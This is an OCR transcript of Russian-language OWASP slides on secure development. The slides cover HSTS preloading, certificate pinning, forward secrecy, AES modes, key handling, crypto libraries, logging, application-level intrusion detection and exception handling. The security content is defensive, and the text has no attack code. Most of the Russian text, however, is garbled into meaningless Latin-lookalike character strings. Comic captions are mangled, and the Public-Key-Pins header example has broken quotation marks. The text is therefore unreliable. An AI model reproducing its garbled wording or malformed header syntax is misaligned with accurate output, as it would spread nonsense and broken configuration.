YcuneHue 6paysepa Takum ob6pasom, YTobbl caenatb BO3MOXKHbIM TO/IbKO Mcnosib3oBaHne HTTPS-
CoeaMHEeHUs K cepBepy

[onHo 6bITb 0becneyeHo HavyabHoe coeamHeHne nosepx HTTPS

Current HSTS Chrome preload list

http://src.chromium.org/viewvc/chrome/trunk/src/net/http/transport security state static.json

If you own a site that you would like to see included in the preloaded Chromium HSTS list, start sending
the HSTS header and then contact: https:/hstspreload.appspot.com/

A site is included in the Firefox preload list if the following hold:
= |tisin the Chromium list (with force-https).
» |tsends an HSTS header.
= The max-age sent is at least 10886400 (18 weeks).

OLUASP —
Open Web Application
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LLindposaHme aaHHbIX Npu nepegaun . Certificate Pinning

https://www.owasp.org/index.php/Pinning Cheat Sheet

©® Y7o Takoe Pinning (3akpenneHue)?

* Pinning is a key continuity scheme

= Detect when an imposter with a fake but CA validated certificate attempts to act like the real server
@ 2 Types of pinning

= Carry around a copy of the server's public key;

= Great if you are distributing a dedicated client-server application since you know the server's
certificate or public key in advance

@ Note of the server's public key on first use
» Trust-on-First-Use (TOFU) pinning
= Useful when no a priori knowledge exists, such as SSH or a Browser

U | d rll S r-) OWASP.ORG

Open Web Application
Security Project




LLindpoBaHme gaHHbIX Npu nepegayn . Browser-Based TOFU Pinning

https://www.owasp.org/index.php/Pinning Cheat Sheet

© Browser-Based TOFU Pinning : Trust on First Use

@ HTTP Public Key Pinning IETF Draft

http://tools.ietf.org/html/draft-ietf-websec-key-pinning-11

© 3amopakumBaHue cepTUdUKaTa NOCPEACTBOM NMOMELLEHNA KOTNEYaTKOB Ma/ibLEB» LIeNOYKM
ceptndukatos (Mnm YacTm ee) B bpaysep

©® MMpumep:

Public-Key-Pins: pin-shal="4n972HfV354KP560yw4uqge/baxc="";
pin-shal=""qvTGHdzF6KLavt4P00gs2a6pQ00="";
pin-sha256=""LPJNul+wow4m6DsgxbninhsWHIwfp0JecwQzYpOLmCQ="";
max-age=10000; includeSubDomains

OLUASP —
A Open Web Application
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LLindposaHme gaHHbIX Npun nepegaun : Pinning in Play (Chrome)

https://www.owasp.org/index.php/Pinning Cheat Sheet

&

Your connection is not private

Attackers might be trying to steal your information from www.google.com (for
example, passwords, messages, or credit cards).
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LLindpoBaHMe aaHHbIX Npu nepeaaun . Forward Secrecy

https://whispersystems.org/blog/asynchronous-security/

©® Ecnammcnonb3yloTca ctapoe wudpoBaHme SSL, To Kaxapblit pa3 npu yctaHoBaeHun SSL-coegmnHeHus c
cepBepom, cooblieHne wndpyetca (B OCHOBHOM) OAHMM U TEM XKe 3aKPbITbIM K/HOYOM CEpBepa

© Perfect forward secrecy: yyacTHUKM BeayT NeperoBopbl BMECTO CEKPETOB, NOJYYEHHbIX C
MCNO/Ib30BaHNEM 04HOPA30BOro (BpeMeHHOro) 0b6MeHa KatoHom

©® [pwu ncnonb3osaHuu PFS, 3anncbiBaHme 3alumndpoBaHHOIO TpadmKka He MOMOraeT aTaKyloLWeMy, Aaxke
€C/IN 3aKPbITbIN KoY cepBepa yKpaaeH!
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S0 ‘HIIIIII"IE GOING TO/BUILD/SOME
CRYPTOI! IHTII 'I'IIIIII APP. TIIIS MORNING
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AES
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AES-ECB
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AES-GCM (Galois/Counter Mode)

OWASP.ORG




Galois/Counter Mode

GCM — pexxmm cyéTumKa c ayTeHTUdUKaumnen Manya: pexkmm ayTeHTMPULMPOBaAHHOTO
lWndpoBaHUA, KOTOPbLIM NOAAEPKUBAET ayTEHTUDUKALMIO AONONHUTENbHbIX AAHHbIX
(nepepatoTcs B OTKPLITOM BUAE).

AyTeHTUPUUMNPOBAHHOE WNPPOBAHME NO3BOASET OOHAPYXKUTb U3MEHEHMA coobLeHns
A0 ero pacwndpoBaHmA, a4na 3Toro coobueHmne cHabxaetca cneymanbHbIM KOAOM
ayteHTUdUKauumn. GCM nos3sonaeT 3alMTUTb KOAOM ayTEHTUDUKALMN HE TOIbKO
lWNPPOBAHHYIO YaCcTb COODOLLEHMS, HO U NPOWN3BOJIbHbIE NPUKPENIEHHbIE AaHHble — 3TO
No/1Ie3HO, MOTOMY YTO B 3TUX AAHHbIX MOXKET ObITb 3anncaH, Hanpumep, agpec
nony4yatensa unm apyraa oTkpbiTaa MHGOpPMaLMs, KOTOPYH, BMecTe C Tem, TpebyeTca
3aLMTUTb OT UCKAXKEHUIN U NOAMEHDbI.

OLJASP
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AES-CBC
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YHuKanbHbiM |V ana Kaxkpgoro cooblueHms
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Padding
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XpaHeHue 1 yrnpas/ieHUe KAYOM
+

N3onauma Kpuntorpadpumuyeckoro
npouecca

OWASP.ORG




KoHdunaeHumanbHoCTb!

OWASP.ORG




HMAC ana 3amnppoBaHHOro TEKCTA
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LlenocTHOCTb!
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[MonyyeHue Kntouyen ansa obecnevyeHms
LLe/IOCTHOCTU U KOHPUAEHUMANbHOCTU U3 OAHOMO U
TOrO € MacTep-Kat4a C UCMOo/Ib30BaHUEM METOK
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He 3abbiTb creHepupoBaTb MacTep-Katoy m3
XOPOLLUEro UCTOYHUKA CYyYaMHbIX YMcen
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$0 YOU'RE GOING TO BUILD]SOME
CRYRTO INT(I Yllllll APP.THIS AFTERNOON

G,llllll_lllﬂl( WITII THAT

[T'I(‘ITH‘(;( nerator.net
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LLindposaHme aaHHbIX B Rest : Google KeyCzar

https://github.com/google/keyczar

@ Keyczar is an open source cryptographic toolkit for Java, Python and C++.

Designed to make it easier and safer for developers to use cryptography in their applications.
Secure key rotation and versioning

Safe default algorithms, modes, and key lengths

Automated generation of initialization vectors and ciphertext signatures

© © © ©

V] Npumep Ucnonb3oBaHUA:

Crypter crypter = new Crypter("'/path/to/your/keys');
String ciphertext = crypter.encrypt(*'Secret message');
String plaintext = crypter.decrypt(ciphertext);

OLUASP —
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LLiIndposaHme gaHHbIX B Rest : Libsodium

https://www.qgitbook.com/book/jedisctl/libsodium/details

@ A high-security, cross-platform & easy-to-use crypto library.
©® Modern, easy-to-use software library for encryption, decryption, signatures, password hashing and more.

© Itis aportable, cross-compilable, installable & packageable fork of NaCl, with a compatible API, and an
extended API to improve usability even further

© Provides all of the core operations needed to build higher-level cryptographic tools.

©® Sodium supports a variety of compilers and operating systems, including Windows (with MinGW or Visual
Studio, x86 and x86_64), iOS and Android.

@ The design choices emphasize security, and "magic constants" have clear rationales.
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C8: Co3gaHune noros 1 obHapy*XeHne NPOHNUKHOBEHMUS
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Bapl/IaHTbI NPaBUIbHOINO CoO34aHUA Z10IroB NPUNOKEHUA

©® lMcnonb3oBaTb 06LWMI/CTaHAAPTHBIN NOAXOA, K CO34aHMIO 10roB, 0becneyvmBatoLinii BO3MOXKHOCTH
B3aMMOAENCTBUA C APYTMMU CUCTEMAMU N aHANU3

= Logging framework : SLF4J with Logback or Apache Log4j2.

©® W3beratb N060YHbBIX 3PPEKTOB: ONpPeaenUTb MUHUMA/bHBIN, HO 3PPEKTUBHBINA Noaxoa ANA CO34aHuUA
JIOTOB, OTCNEXMBAOLWMNX NONb30BATE/IbCKYH aKTUBHOCTb

© BbInonHATb KOAMPOBaAHME HeJOBEPAEMbIX AAHHbIX | 3awWwmTa oT injection-aTtak Ha noru!

oLASP —
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O6HapyXeHne NPOHUKHOBEHMA HA NPUKIaAHOM YPOBHE:
NPUMepPbl TOYEK OOHapyKeHUaA

© OTKas OT NPOBEPKMN AENCTBMTENBHOCTM BXOAHbIX AAHHbIX HAa CTOPOHE cepBepa Npu CyLLEeCTBOBaHMM
NPOBEPKU AENCTBUTENBHOCTU HA CTOPOHE KAMEHTa

@ OTKa3 OT NPOBEPKM AeNCTBUTENIbHOCTU BXOAHbIX AaHHbIX Ha CTOPOHE cepBepa AN1A HepeaaKkTUpyemMblxX
no/sib3oBaTenemM napameTpoB, TaKMX KaK cKpbiTble nons, checkboxes, radio buttons nan cnmncku sBbibopa

@ Forced browsing to common attack entry points

© Honeypot URL (e.g. a fake path listed in robots.txt like e.g. /admin/secretlogin.jsp)

OLASH —

Open Web Application
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App Layer Intrusion Detection : Detection Points Examples

© Blatant SQLi or XSS injection attacks.
©® Workflow sequence abuse (e.g. multi-part form in wrong order).
@ Custom business logic (e.g. basket vs catalogue price mismatch).

© Further study :
= AppeSensor OWASP Project

= libinjection : from SQLi to XSS — Nick Galbreath

= Attack Driven Defense — Zane Lackey
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C9: YcmuneHHble Security Frameworks n 6ubnnoteku
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YcunenHble Security Frameworks u 6ubnnoteku

© Don't reinvent the wheel : use existing coding libraries and software frameworks

(’ N PACHE
© SHIRO keyCzar
< : bgle

@ Use native secure features of frameworks rather than importing third party libraries.
n : 3 .
django @y >Pring - FlaskSecurity

@  Stay up to date !
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OxBaTbiBaemble pucku: Bce n3 Hux (but not consistently)

Al - Injection A2 — Broken A3 - Cross-Site A4 — Insecure
Authentication and Scripting (XSS) Direct Object
Session References
Management

A5 — Security A6 — Sensitive Data A7 — Missing A8 — Cross-Site
Misconfiguration Exposure Function Level Request Forgery
Access Control

A9 — Using A10 — Unvalidated
Components with Redirects and
Known Forwards
Vulnerabilities

@ ouriso

OWASP.ORG




C10: OwnbKM n ob6paboTKa NCKAOYEHUN
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IIHEARD YOUJLIKE
ENCEPTIONS

4

-

-

*1
:

S0 | GAVE YOU AN EXCEPTION WHILE HANDLING
YOURENCEPTION .. . ..
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Jlyduwine npakTUKK

@ YnpaBasTb UCKAHOYEHMAMMU LLeHTPAIM30BaHHbIM CNOCO60M, 4TOObI M36eXKaTb
aybnvpoBaHusa 61okos try/catch B Koge v rapaHTMpPOBaTh, YTO BCE NoBeAeHMNE, He

nonagatouliee nod 06paboTKy MCKAOYEHUA, KOPPEKTHO 0b6pabaTbiBaeTcs BHYTPU
NPUIOMNKEHMS.

@ TlapaHTUpoBaTb, YTO B co0bWEeHNAX 06 owmnbKax, MOKa3biBaeMbIX NONb30BATENAM, HET

KPUTUYECKUX AaHHbIX, NPU 3TOM UX A0CTAaTOYHO, YTOObI 06BACHMUTL Npobemy
No/sb30BaTENAM.

@ [apaHTMpPOBaTb, YTO UCKAIOYEHUA 3aMUCHIBAIOTCA B JIOTM TaKMM CNOCOBOM, KOTOPbIN

npeaocTaBaAeT goctaTouHo nHdopmaumm ana Q/A, cynebHol akcnepTUsbl Uu
KOMaHZaM OTBETa Ha MHUMAEHTbI ANA MOHUMaHKUA Npobaembl.
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